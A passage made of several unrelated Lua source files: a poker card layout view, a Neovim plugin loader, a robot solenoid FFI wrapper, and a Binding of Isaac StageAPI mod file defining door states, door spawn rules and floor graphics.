self.m_cards = {};
end
----------------------------------------------------------------------------------------------
SingleLinePokerBackView._createPoker = function(self)
local img = UIFactory.createImage(self.m_config.file);
return img;
end
SingleLinePokerBackView._updatePoker = function(self)
local visibleCards = self.m_cards;
local cardW = self.m_config.pokerWidth;
local cardH = self.m_config.pokerHeight;
local totalW,totalH = self:getSize();
local x = 0;
local space = self.m_config.maxSpace;
local maxWidth = (#visibleCards - 1) * space + cardW;
if totalW > maxWidth then
x = (totalW - maxWidth) / 2;
else
space = (totalW - cardW) / (#visibleCards - 1);
end
for _, v in ipairs(visibleCards) do
v:setPos(x, 0);
x = x + space;
end
end
SingleLinePokerBackView._parseConfig = function(self,config)
config = table.verify(config);
local data = {};
data.totalWidth = config.totalWidth or self.defaultConfig.totalWidth;
data.pokerWidth = config.pokerWidth or self.defaultConfig.pokerWidth;
data.pokerHeight = config.pokerHeight or self.defaultConfig.pokerHeight;
data.maxSpace = config.maxSpace or self.defaultConfig.maxSpace;
data.file = config.file or self.defaultConfig.file;
return data;
end
return SingleLinePokerBackView;
|
require("options")
-- require("plugins.telescope")
-- require("plugins.bufferline")
require("plugins.toggleterm")
require("plugins.nvimtree")
require("plugins.treesitter")
-- require("plugins.galaxyline")
require("plugins.lualine")
require("plugins.lsp")
require("plugins.compe")
require("plugins.others")
-- require("plugins.trouble")
-- require("plugins.dap")
require("mappings")
|
local ffi = require("ffi")
-- Constants
DoubleSolenoidValue = {
Off = 0,
Forward = 1,
Reverse = 2,
}
-- Solenoid
Solenoid = {}
function Solenoid:new(channel)
o = {
solenoid = ffi.C.Solenoid_new(channel),
}
setmetatable(o, self)
self.__index = self
return o
end
function Solenoid:get()
return ffi.C.Solenoid_Get(self.solenoid)
end
function Solenoid:set(on)
ffi.C.Solenoid_Set(self.solenoid, on)
end
-- Double Solenoid
DoubleSolenoid = {}
function DoubleSolenoid:new(forwardChannel, reverseChannel)
local o = {
solenoid = ffi.C.DoubleSolenoid_new(forwardChannel, reverseChannel),
}
setmetatable(o, self)
self.__index = self
return o
end
function DoubleSolenoid:set(value)
ffi.C.DoubleSolenoid_Set(self.solenoid, value)
end
|
StageAPI.LogMinor("Loading Reimplementation Data")
do -- Base Game Doors, Door Spawns
-- Base Game Custom State Doors
StageAPI.BaseDoorOpenState = {
StartAnim = "Open",
Anim = "Opened",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_OPEN,
Triggers = {
Unclear = "Closed"
},
Passable = true
}
StageAPI.BaseDoorClosedState = {
StartAnim = "Close",
Anim = "Closed",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_CLOSE,
Triggers = {
Clear = "Opened",
Bomb = "BrokenOpen"
}
}
StageAPI.BaseDoorBrokenOpenState = {
StartAnim = "Break",
Anim = "BrokenOpen",
Passable = true,
NoMemory = true
}
StageAPI.SpecialDoorClosedState = {
StartAnim = "Close",
Anim = "Closed",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_CLOSE,
Triggers = {
Clear = "Opened"
}
}
StageAPI.SecretDoorHiddenState = {
Anim = "Hidden",
Triggers = {
EnteredThrough = {
State = "Opened",
Anim = "Opened"
},
Bomb = {
State = "Opened",
Anim = "Opened",
Jingle = Music.MUSIC_JINGLE_SECRETROOM_FIND,
Particles = {
{Variant = EffectVariant.ROCK_PARTICLE},
{Variant = EffectVariant.DUST_CLOUD, Timeout = 40, LifeSpan = 40, Rotation = -3, Count = 2, Velocity = 2}
}
}
}
}
StageAPI.SecretDoorClosedState = {
Anim = "Close",
StartAnim = "Close",
Triggers = {
Clear = "Opened"
}
}
StageAPI.SecretDoorOpenedState = {
Anim = "Opened",
StartAnim = "Open",
Triggers = {
Unclear = "Closed"
},
Passable = true
}
StageAPI.BaseDoorStates = {
Default = {
Default = "Opened",
Closed = StageAPI.BaseDoorClosedState,
Opened = StageAPI.BaseDoorOpenState,
BrokenOpen = StageAPI.BaseDoorBrokenOpenState
},
SpecialInterior = {
Default = "Opened",
Opened = StageAPI.BaseDoorOpenState,
Closed = StageAPI.SpecialDoorClosedState
},
Vault = {
Default = "TwoChains",
TwoChains = {
Anim = "Closed",
OverlayAnim = "TwoChains",
Triggers = {
GoldKey = {
State = "AwaitChain",
OverlayAnim = "GoldenKeyOpenChain1"
},
Key = {
State = "AwaitChain",
OverlayAnim = "KeyOpenChain1"
}
}
},
AwaitChain = {
Anim = "Closed",
OverlayAnim = "OneChain",
Triggers = {
FinishOverlayTrigger = "OneChain"
},
RememberAs = "OneChain"
},
OneChain = {
Anim = "Closed",
OverlayAnim = "OneChain",
Triggers = {
GoldKey = {
State = "Opened",
OverlayAnim = "GoldenKeyOpenChain2"
},
Key = {
State = "Opened",
OverlayAnim = "KeyOpenChain2"
}
}
},
Closed = StageAPI.SpecialDoorClosedState,
Opened = StageAPI.BaseDoorOpenState
},
Bedroom = {
Default = "TwoBombs",
TwoBombs = {
Anim = "Closed",
OverlayAnim = "Idle",
Triggers = {
Bomb = {
State = "OneBomb",
Particle = {
Variant = EffectVariant.WOOD_PARTICLE,
}
}
}
},
OneBomb = {
Anim = "Closed",
OverlayAnim = "Damaged",
Triggers = {
Bomb = {
State = "Opened",
Particle = {
Variant = EffectVariant.WOOD_PARTICLE,
}
}
}
},
Closed = StageAPI.SpecialDoorClosedState,
Opened = StageAPI.BaseDoorOpenState
},
Key = {
Default = "Locked",
Locked = {
Anim = "KeyClosed",
Triggers = {
GoldKey = {
State = "Opened",
Anim = "GoldenKeyOpen"
},
Key = {
State = "Opened",
Anim = "KeyOpen"
}
}
},
Closed = StageAPI.SpecialDoorClosedState,
Opened = StageAPI.BaseDoorOpenState
},
Arcade = {
Default = "Locked",
Locked = {
Anim = "KeyClosed",
Triggers = {
Coin = {
State = "Opened",
Anim = "KeyOpen"
}
}
},
Closed = StageAPI.SpecialDoorClosedState,
Opened = StageAPI.BaseDoorOpenState
},
Secret = {
Default = "Hidden",
Hidden = StageAPI.SecretDoorHiddenState,
Closed = StageAPI.SecretDoorClosedState,
Opened = StageAPI.SecretDoorOpenedState
},
Miniboss = {
Default = "Barred",
Barred = {
Anim = "Closed",
OverlayAnim = "Appear",
Triggers = {
Clear = {
State = "Opened",
OverlayAnim = "Vanish"
}
}
},
Closed = StageAPI.SpecialDoorClosedState,
Opened = StageAPI.BaseDoorOpenState
},
MinibossSecret = {
Default = "Barred",
Barred = {
Anim = "Close",
StartAnim = "Close",
OverlayAnim = "Appear",
Triggers = {
Clear = {
State = "Opened",
OverlayAnim = "Vanish"
}
}
},
Closed = StageAPI.SecretDoorClosedState,
Opened = StageAPI.SecretDoorOpenedState
},
CurseInterior = {
Default = "Opened",
Opened = {
StartAnim = "Open",
Anim = "Opened",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_OPEN,
Triggers = {
Unclear = "Closed",
Function = function(door, data, sprite, doorData, gridData)
for _, player in ipairs(StageAPI.Players) do
if player.Position:DistanceSquared(door.Position) < (player.Size) ^ 2 then
player:TakeDamage(1, DamageFlag.DAMAGE_CURSED_DOOR, EntityRef(player), 0)
end
end
end
},
Passable = true
},
Closed = StageAPI.SpecialDoorClosedState,
},
Curse = {
Default = "Opened",
Opened = {
StartAnim = "Open",
Anim = "Opened",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_OPEN,
Triggers = {
Unclear = "Closed",
Function = function(door, data, sprite, doorData, gridData)
for _, player in ipairs(StageAPI.Players) do
if not player.CanFly and player.Position:DistanceSquared(door.Position) < (player.Size) ^ 2 then
player:TakeDamage(1, DamageFlag.DAMAGE_CURSED_DOOR, EntityRef(player), 0)
end
end
end
},
Passable = true
},
Closed = StageAPI.SpecialDoorClosedState,
},
Ambush = {
Default = "Closed",
Opened = {
StartAnim = "Open",
Anim = "Opened",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_OPEN,
Triggers = {
Unclear = "Closed",
Function = function(door, data, sprite, doorData, gridData)
local p1 = StageAPI.Players[1]
if (p1:GetHearts() + p1:GetSoulHearts()) < p1:GetMaxHearts() then
return "Closed"
end
end
},
Passable = true
},
Closed = {
StartAnim = "Close",
Anim = "Closed",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_CLOSE,
Triggers = {
Function = function(door, data, sprite, doorData, gridData)
if not StageAPI.Room:IsClear() then
return
end
local p1 = StageAPI.Players[1]
if (p1:GetHearts() + p1:GetSoulHearts()) >= p1:GetMaxHearts() then
return "Opened"
end
end
}
}
},
BossAmbush = {
Default = "Closed",
Opened = {
StartAnim = "Open",
Anim = "Opened",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_OPEN,
Triggers = {
Unclear = "Closed",
Function = function(door, data, sprite, doorData, gridData)
local p1 = StageAPI.Players[1]
if p1:GetHearts() > 2 then
return "Closed"
end
end
},
Passable = true
},
Closed = {
StartAnim = "Close",
Anim = "Closed",
StartSound = SoundEffect.SOUND_DOOR_HEAVY_CLOSE,
Triggers = {
Function = function(door, data, sprite, doorData, gridData)
if not StageAPI.Room:IsClear() then
return
end
local p1 = StageAPI.Players[1]
if p1:GetHearts() <= 2 then
return "Opened"
end
end
}
}
}
}
StageAPI.BaseDoors = {
Default = StageAPI.CustomStateDoor("DefaultDoor", nil, StageAPI.BaseDoorStates.Default),
SpecialInterior = StageAPI.CustomStateDoor("SpecialDoor", nil, StageAPI.BaseDoorStates.SpecialInterior),
Shop = StageAPI.CustomStateDoor("ShopDoor", nil, StageAPI.BaseDoorStates.Key),
Treasure = StageAPI.CustomStateDoor("TreasureDoor", "gfx/grid/door_02_treasureroomdoor.anm2", StageAPI.BaseDoorStates.Key),
Boss = StageAPI.CustomStateDoor("BossDoor", "gfx/grid/door_10_bossroomdoor.anm2", StageAPI.BaseDoorStates.SpecialInterior),
Secret = StageAPI.CustomStateDoor("SecretDoor", "gfx/grid/door_08_holeinwall.anm2", StageAPI.BaseDoorStates.Secret, nil, nil, StageAPI.SecretDoorOffsetsByDirection),
Arcade = StageAPI.CustomStateDoor("ArcadeDoor", "gfx/grid/door_05_arcaderoomdoor.anm2", StageAPI.BaseDoorStates.Arcade),
Bedroom = StageAPI.CustomStateDoor("BedroomDoor", nil, StageAPI.BaseDoorStates.Bedroom, nil, "gfx/grid/door_18_crackeddoor.anm2"),
Vault = StageAPI.CustomStateDoor("VaultDoor", nil, StageAPI.BaseDoorStates.Vault, nil, "gfx/grid/door_16_doublelock.anm2"),
Miniboss = StageAPI.CustomStateDoor("MinibossDoor", nil, StageAPI.BaseDoorStates.Miniboss, nil, "gfx/grid/door_17_bardoor.anm2"),
MinibossSecret = StageAPI.CustomStateDoor("MinibossSecretDoor", "gfx/grid/door_08_holeinwall.anm2", StageAPI.BaseDoorStates.MinibossSecret, nil, "gfx/grid/door_17_bardoor.anm2", StageAPI.SecretDoorOffsetsByDirection),
Devil = StageAPI.CustomStateDoor("DevilDoor", "gfx/grid/door_07_devilroomdoor.anm2", StageAPI.BaseDoorStates.SpecialInterior),
Angel = StageAPI.CustomStateDoor("AngelDoor", "gfx/grid/door_07_holyroomdoor.anm2", StageAPI.BaseDoorStates.SpecialInterior),
Curse = StageAPI.CustomStateDoor("CurseDoor", "gfx/grid/door_04_selfsacrificeroomdoor.anm2", StageAPI.BaseDoorStates.Curse),
CurseInterior = StageAPI.CustomStateDoor("CurseInteriorDoor", "gfx/grid/door_04_selfsacrificeroomdoor.anm2", StageAPI.BaseDoorStates.CurseInterior),
Ambush = StageAPI.CustomStateDoor("AmbushDoor", "gfx/grid/door_03_ambushroomdoor.anm2", StageAPI.BaseDoorStates.Ambush),
BossAmbush = StageAPI.CustomStateDoor("BossAmbushDoor", "gfx/grid/door_09_bossambushroomdoor.anm2", StageAPI.BaseDoorStates.BossAmbush)
}
-- these two are redundant but being kept for now since they are used in the old door system
StageAPI.DefaultDoorSpawn = {
RequireCurrent = {RoomType.ROOM_DEFAULT, RoomType.ROOM_MINIBOSS, RoomType.ROOM_SACRIFICE, RoomType.ROOM_SHOP, RoomType.ROOM_LIBRARY, RoomType.ROOM_BARREN, RoomType.ROOM_ISAACS, RoomType.ROOM_DICE, RoomType.ROOM_CHEST},
RequireTarget = {RoomType.ROOM_DEFAULT, RoomType.ROOM_MINIBOSS, RoomType.ROOM_SACRIFICE, RoomType.ROOM_SHOP, RoomType.ROOM_LIBRARY, RoomType.ROOM_BARREN, RoomType.ROOM_ISAACS, RoomType.ROOM_DICE, RoomType.ROOM_CHEST}
}
StageAPI.SecretDoorSpawn = {
RequireTarget = {RoomType.ROOM_SECRET, RoomType.ROOM_SUPERSECRET},
NotCurrent = {RoomType.ROOM_SECRET, RoomType.ROOM_SUPERSECRET}
}
StageAPI.DefaultDoorEntrances = {RoomType.ROOM_DEFAULT, RoomType.ROOM_MINIBOSS, RoomType.ROOM_SACRIFICE}
StageAPI.BaseDoorSpawns = {
Default = {
Sprite = "Default",
StateDoor = "DefaultDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = StageAPI.DefaultDoorEntrances
},
SpecialInterior = { -- same as default door, but cannot be blown up
Sprite = "Default",
StateDoor = "SpecialDoor",
NotCurrent = {RoomType.ROOM_DEFAULT, RoomType.ROOM_CURSE},
RequireTarget = StageAPI.DefaultDoorEntrances
},
Miniboss = {
Sprite = "Default",
StateDoor = "MinibossDoor",
RequireCurrent = {RoomType.ROOM_MINIBOSS},
RequireTarget = StageAPI.DefaultDoorEntrances
},
MinibossSecret = {
Sprite = "Secret",
StateDoor = "MinibossSecretDoor",
RequireCurrent = {RoomType.ROOM_SECRET},
IsSurpriseMiniboss = true
},
MinibossSurprise = {
Sprite = "Default",
StateDoor = "MinibossDoor",
IsSurpriseMiniboss = true,
NotCurrent = {RoomType.ROOM_DEFAULT}
},
Secret = {
Sprite = "Secret",
StateDoor = "SecretDoor",
RequireEither = {RoomType.ROOM_SECRET, RoomType.ROOM_SUPERSECRET}
},
Lock = {
Sprite = "Default",
StateDoor = "ShopDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_SHOP, RoomType.ROOM_LIBRARY}
},
Treasure = {
Sprite = "Treasure",
StateDoor = "TreasureDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_TREASURE}
},
Boss = {
Sprite = "Boss",
StateDoor = "BossDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_BOSS}
},
BossInterior = {
Sprite = "Boss",
StateDoor = "BossDoor",
RequireCurrent = {RoomType.ROOM_BOSS},
RequireTarget = StageAPI.DefaultDoorEntrances
},
Ambush = {
Sprite = "Ambush",
StateDoor = "AmbushDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_CHALLENGE},
IsBossAmbush = false
},
BossAmbush = {
Sprite = "BossAmbush",
StateDoor = "BossAmbushDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_CHALLENGE},
IsBossAmbush = true
},
Boarded = {
Sprite = "Boarded",
StateDoor = "BedroomDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_BARREN, RoomType.ROOM_ISAACS}
},
DoubleLock = {
Sprite = "DoubleLock",
StateDoor = "VaultDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_CHEST, RoomType.ROOM_DICE}
},
CurseInterior = {
Sprite = "Default",
StateDoor = "CurseInteriorDoor",
RequireCurrent = {RoomType.ROOM_CURSE},
RequireTarget = StageAPI.DefaultDoorEntrances
},
Curse = {
Sprite = "Curse",
StateDoor = "CurseDoor",
RequireCurrent = {RoomType.ROOM_DEFAULT},
RequireTarget = {RoomType.ROOM_CURSE}
},
Devil = {
Sprite = "Devil",
StateDoor = "DevilDoor",
RequireTarget = {RoomType.ROOM_DEVIL}
},
Angel = {
Sprite = "Angel",
StateDoor = "AngelDoor",
RequireTarget = {RoomType.ROOM_ANGEL}
},
PayToPlay = {
Sprite = "PayToPlay",
StateDoor = "ArcadeDoor",
IsPayToPlay = true
}
}
StageAPI.BaseDoorSpawnList = {StageAPI.BaseDoorSpawns.PayToPlay, StageAPI.BaseDoorSpawns.Devil, StageAPI.BaseDoorSpawns.Angel, StageAPI.BaseDoorSpawns.MinibossSecret, StageAPI.BaseDoorSpawns.Secret, StageAPI.BaseDoorSpawns.CurseInterior, StageAPI.BaseDoorSpawns.Curse, StageAPI.BaseDoorSpawns.BossInterior, StageAPI.BaseDoorSpawns.MinibossSurprise, StageAPI.BaseDoorSpawns.Miniboss, StageAPI.BaseDoorSpawns.SpecialInterior} -- in priority order
for k, v in pairs(StageAPI.BaseDoorSpawns) do
if not StageAPI.IsIn(StageAPI.BaseDoorSpawnList, v) and k ~= "Default" then
StageAPI.BaseDoorSpawnList[#StageAPI.BaseDoorSpawnList + 1] = v
end
end
StageAPI.BaseDoorSpawnList[#StageAPI.BaseDoorSpawnList + 1] = StageAPI.BaseDoorSpawns.Default
end
do -- Reimplementation of most base game GridGfx, Backdrops, RoomGfx
-- Base Game GridGfx
StageAPI.BaseGridGfx = {}
StageAPI.BaseGridGfx.Basement = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Basement:SetRocks("gfx/grid/rocks_basement.png")
StageAPI.BaseGridGfx.Basement:SetDecorations("gfx/grid/props_01_basement.png", "gfx/grid/props_01_basement.anm2", 43)
StageAPI.BaseGridGfx.Basement:SetDoorSprites{
Default = {
[RoomType.ROOM_DEFAULT] = "gfx/grid/door_01_normaldoor.png",
},
Secret = "gfx/grid/door_08_holeinwall.png"
}
StageAPI.BaseGridGfx.Basement:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.Cellar = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Cellar:SetRocks("gfx/grid/rocks_cellar.png")
StageAPI.BaseGridGfx.Cellar:SetDecorations("gfx/grid/props_01_basement.png", "gfx/grid/props_01_basement.anm2", 43)
StageAPI.BaseGridGfx.Cellar:SetDoorSprites{
Default = {
[RoomType.ROOM_DEFAULT] = "gfx/grid/door_12_cellardoor.png",
},
Secret = "gfx/grid/door_08_holeinwall.png"
}
StageAPI.BaseGridGfx.Cellar:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.BurningBasement = StageAPI.GridGfx()
StageAPI.BaseGridGfx.BurningBasement:SetRocks("gfx/grid/rocks_burningbasement.png")
StageAPI.BaseGridGfx.BurningBasement:SetDecorations("gfx/grid/props_01_basement.png", "gfx/grid/props_01_basement.anm2", 43)
StageAPI.BaseGridGfx.BurningBasement:SetDoorSprites{
Default = {
[RoomType.ROOM_DEFAULT] = "gfx/grid/door_01_burningbasement.png",
},
Secret = "gfx/grid/door_08_holeinwall.png"
}
StageAPI.BaseGridGfx.BurningBasement:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.Caves = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Caves:SetRocks("gfx/grid/rocks_caves.png")
StageAPI.BaseGridGfx.Caves:SetPits("gfx/grid/grid_pit.png", "gfx/grid/grid_pit_water.png")
StageAPI.BaseGridGfx.Caves:SetBridges("gfx/grid/grid_bridge.png")
StageAPI.BaseGridGfx.Caves:SetDecorations("gfx/grid/props_03_caves.png")
StageAPI.BaseGridGfx.Caves:SetDoorSprites{
Default = {
[RoomType.ROOM_DEFAULT] = "gfx/grid/door_01_normaldoor.png",
},
Secret = "gfx/grid/door_08_holeinwall_caves.png"
}
StageAPI.BaseGridGfx.Caves:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.Secret = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Secret:SetRocks("gfx/grid/rocks_secretroom.png")
StageAPI.BaseGridGfx.Secret:SetPits("gfx/grid/grid_pit.png", "gfx/grid/grid_pit_water.png")
StageAPI.BaseGridGfx.Secret:SetBridges("gfx/grid/grid_bridge.png")
StageAPI.BaseGridGfx.Secret:SetDecorations("gfx/grid/props_03_caves.png")
StageAPI.BaseGridGfx.Secret:SetDoorSprites{
Default = "gfx/grid/door_08_holeinwall.png",
Secret = "gfx/grid/door_08_holeinwall.png"
}
StageAPI.BaseGridGfx.Secret:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.Catacombs = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Catacombs:SetRocks("gfx/grid/rocks_catacombs.png")
StageAPI.BaseGridGfx.Catacombs:SetPits("gfx/grid/grid_pit_catacombs.png", "gfx/grid/grid_pit_water_catacombs.png")
StageAPI.BaseGridGfx.Catacombs:SetBridges("stageapi/floors/catacombs/grid_bridge_catacombs.png")
StageAPI.BaseGridGfx.Catacombs:SetDecorations("gfx/grid/props_03_caves.png")
StageAPI.BaseGridGfx.Catacombs:SetDoorSprites{
Default = {
[RoomType.ROOM_DEFAULT] = "gfx/grid/door_01_normaldoor.png",
},
Secret = "gfx/grid/door_08_holeinwall.png"
}
StageAPI.BaseGridGfx.Catacombs:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.FloodedCaves = StageAPI.GridGfx()
StageAPI.BaseGridGfx.FloodedCaves:SetRocks("gfx/grid/rocks_drownedcaves.png")
StageAPI.BaseGridGfx.FloodedCaves:SetPits("gfx/grid/grid_pit_water_drownedcaves.png", "gfx/grid/grid_pit_water_drownedcaves.png")
StageAPI.BaseGridGfx.FloodedCaves:SetBridges("gfx/grid/grid_bridge_drownedcaves.png")
StageAPI.BaseGridGfx.FloodedCaves:SetDecorations("gfx/grid/props_03_caves.png")
StageAPI.BaseGridGfx.FloodedCaves:SetDoorSprites{
Default = {
[RoomType.ROOM_DEFAULT] = "gfx/grid/door_27_drownedcaves.png",
},
Secret = "gfx/grid/door_08_holeinwall_cathedral.png"
}
StageAPI.BaseGridGfx.FloodedCaves:SetDoorSpawns(StageAPI.BaseDoorSpawnList)
StageAPI.BaseGridGfx.Depths = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Depths:SetRocks("gfx/grid/rocks_depths.png")
StageAPI.BaseGridGfx.Depths:SetPits("gfx/grid/grid_pit_depths.png")
StageAPI.BaseGridGfx.Depths:SetBridges("gfx/grid/grid_bridge_depths.png")
StageAPI.BaseGridGfx.Depths:SetDecorations("gfx/grid/props_05_depths.png", "gfx/grid/props_05_depths.anm2", 43)
StageAPI.BaseGridGfx.Necropolis = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Necropolis:SetRocks("gfx/grid/rocks_depths.png")
StageAPI.BaseGridGfx.Necropolis:SetPits("gfx/grid/grid_pit_necropolis.png")
StageAPI.BaseGridGfx.Necropolis:SetBridges("stageapi/floors/necropolis/grid_bridge_necropolis.png")
StageAPI.BaseGridGfx.Necropolis:SetDecorations("gfx/grid/props_05_depths.png", "gfx/grid/props_05_depths.anm2", 43)
StageAPI.BaseGridGfx.DankDepths = StageAPI.GridGfx()
StageAPI.BaseGridGfx.DankDepths:SetRocks("gfx/grid/rocks_depths.png")
StageAPI.BaseGridGfx.DankDepths:SetPits("gfx/grid/grid_pit_dankdepths.png","gfx/grid/grid_pit_water_dankdepths.png")
StageAPI.BaseGridGfx.DankDepths:SetBridges("gfx/grid/grid_bridge_dankdepths.png")
StageAPI.BaseGridGfx.DankDepths:SetDecorations("gfx/grid/props_05_depths.png", "gfx/grid/props_05_depths.anm2", 43)
StageAPI.BaseGridGfx.Womb = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Womb:SetRocks("gfx/grid/rocks_womb.png")
StageAPI.BaseGridGfx.Womb:SetPits("gfx/grid/grid_pit_womb.png", {
{ File = "gfx/grid/grid_pit_blood_womb.png" },
{ File = "gfx/grid/grid_pit_acid_womb.png" },
})
StageAPI.BaseGridGfx.Womb:SetBridges("stageapi/floors/utero/grid_bridge_womb.png")
StageAPI.BaseGridGfx.Womb:SetDecorations("gfx/grid/props_07_the womb.png", "gfx/grid/props_07_the womb.anm2", 43)
StageAPI.BaseGridGfx.Utero = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Utero:SetRocks("gfx/grid/rocks_womb.png")
StageAPI.BaseGridGfx.Utero:SetPits("gfx/grid/grid_pit_womb.png", {
{ File = "gfx/grid/grid_pit_blood_womb.png" },
{ File = "gfx/grid/grid_pit_acid_womb.png" },
})
StageAPI.BaseGridGfx.Utero:SetBridges("stageapi/floors/utero/grid_bridge_womb.png")
StageAPI.BaseGridGfx.Utero:SetDecorations("gfx/grid/props_07_the womb.png", "gfx/grid/props_07_the womb.anm2", 43)
StageAPI.BaseGridGfx.ScarredWomb = StageAPI.GridGfx()
StageAPI.BaseGridGfx.ScarredWomb:SetRocks("gfx/grid/rocks_scarredwomb.png")
StageAPI.BaseGridGfx.ScarredWomb:SetPits("gfx/grid/grid_pit_blood_scarredwomb.png")
StageAPI.BaseGridGfx.ScarredWomb:SetBridges("gfx/grid/grid_bridge_scarredwomb.png")
StageAPI.BaseGridGfx.ScarredWomb:SetDecorations("gfx/grid/props_07_the womb.png", "gfx/grid/props_07_the womb.anm2", 43)
StageAPI.BaseGridGfx.BlueWomb = StageAPI.GridGfx()
StageAPI.BaseGridGfx.BlueWomb:SetRocks("gfx/grid/rocks_bluewomb.png")
StageAPI.BaseGridGfx.BlueWomb:SetDecorations("gfx/grid/props_07_the womb_blue.png", "gfx/grid/props_07_the womb.anm2", 43)
StageAPI.BaseGridGfx.Cathedral = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Cathedral:SetRocks("gfx/grid/rocks_cathedral.png")
StageAPI.BaseGridGfx.Cathedral:SetPits("gfx/grid/grid_pit_cathedral.png")
StageAPI.BaseGridGfx.Cathedral:SetBridges("gfx/grid/grid_bridge_cathedral.png")
StageAPI.BaseGridGfx.Cathedral:SetDecorations("gfx/grid/props_10_cathedral.png", "gfx/grid/props_10_cathedral.anm2", 43)
StageAPI.BaseGridGfx.Sheol = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Sheol:SetRocks("gfx/grid/rocks_sheol.png")
StageAPI.BaseGridGfx.Sheol:SetPits("gfx/grid/grid_pit_depths.png")
StageAPI.BaseGridGfx.Sheol:SetBridges("gfx/grid/grid_bridge_depths.png")
StageAPI.BaseGridGfx.Sheol:SetDecorations("gfx/grid/props_09_sheol.png", "gfx/grid/props_09_sheol.anm2", 43)
StageAPI.BaseGridGfx.Chest = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Chest:SetDecorations("gfx/grid/props_11_chest.png", "gfx/grid/props_11_the chest.anm2", 43)
StageAPI.BaseGridGfx.DarkRoom = StageAPI.GridGfx()
StageAPI.BaseGridGfx.DarkRoom:SetPits("gfx/grid/grid_pit_darkroom.png")
StageAPI.BaseGridGfx.DarkRoom:SetDecorations("stageapi/none.png")
StageAPI.BaseGridGfx.Downpour = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Downpour:SetRocks("gfx/grid/rocks_downpour.png")
StageAPI.BaseGridGfx.Downpour:SetPits("gfx/grid/grid_pit_downpour.png")
StageAPI.BaseGridGfx.Downpour:SetDecorations("gfx/grid/props_01x_downpour.png", "gfx/grid/props_01x_downpour.anm2", 20)
StageAPI.BaseGridGfx.Dross = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Dross:SetRocks("gfx/grid/rocks_dross.png")
StageAPI.BaseGridGfx.Dross:SetPits("gfx/grid/grid_pit_dross.png")
StageAPI.BaseGridGfx.Dross:SetDecorations("gfx/grid/props_02x_dross.png", "gfx/grid/props_02x_dross.anm2", 30)
StageAPI.BaseGridGfx.Mines = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Mines:SetRocks("gfx/grid/rocks_secretroom.png")
StageAPI.BaseGridGfx.Mines:SetPits("gfx/grid/grid_pit_mines.png")
StageAPI.BaseGridGfx.Mines:SetDecorations("gfx/grid/props_03x_mines.png", "gfx/grid/props_03x_mines.anm2", 42)
StageAPI.BaseGridGfx.Ashpit = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Ashpit:SetRocks("gfx/grid/rocks_ashpit.png")
StageAPI.BaseGridGfx.Ashpit:SetPits("gfx/grid/grid_pit_ashpit.png", "gfx/grid/grid_pit_ashpit_ash.png")
StageAPI.BaseGridGfx.Ashpit:SetDecorations("gfx/grid/props_03x_mines.png", "gfx/grid/props_03x_mines.anm2", 42)
StageAPI.BaseGridGfx.Mausoleum = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Mausoleum:SetRocks("gfx/grid/rocks_mausoleum.png")
StageAPI.BaseGridGfx.Mausoleum:SetPits("gfx/grid/grid_pit_mausoleum.png")
StageAPI.BaseGridGfx.Mausoleum:SetDecorations("gfx/grid/props_03x_mines.png", "gfx/grid/props_03x_mines.anm2", 42)
StageAPI.BaseGridGfx.Gehenna = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Gehenna:SetRocks("gfx/grid/rocks_gehenna.png")
StageAPI.BaseGridGfx.Gehenna:SetPits("gfx/grid/grid_pit_gehenna.png")
StageAPI.BaseGridGfx.Gehenna:SetDecorations("gfx/grid/props_03x_mines.png", "gfx/grid/props_03x_mines.anm2", 42)
StageAPI.BaseGridGfx.Corpse = StageAPI.GridGfx()
StageAPI.BaseGridGfx.Corpse:SetRocks("gfx/grid/rocks_corpse.png")
StageAPI.BaseGridGfx.Corpse:SetPits("gfx/grid/grid_pit_corpse.png")
StageAPI.BaseGridGfx.Corpse:SetDecorations("gfx/grid/props_07_the corpse.png", "gfx/grid/props_07_the corpse.anm2", 42)
StageAPI.BaseRoomGfx = {
Basement = StageAPI.RoomGfx(BackdropType.BASEMENT, StageAPI.BaseGridGfx.Basement, "_default"),
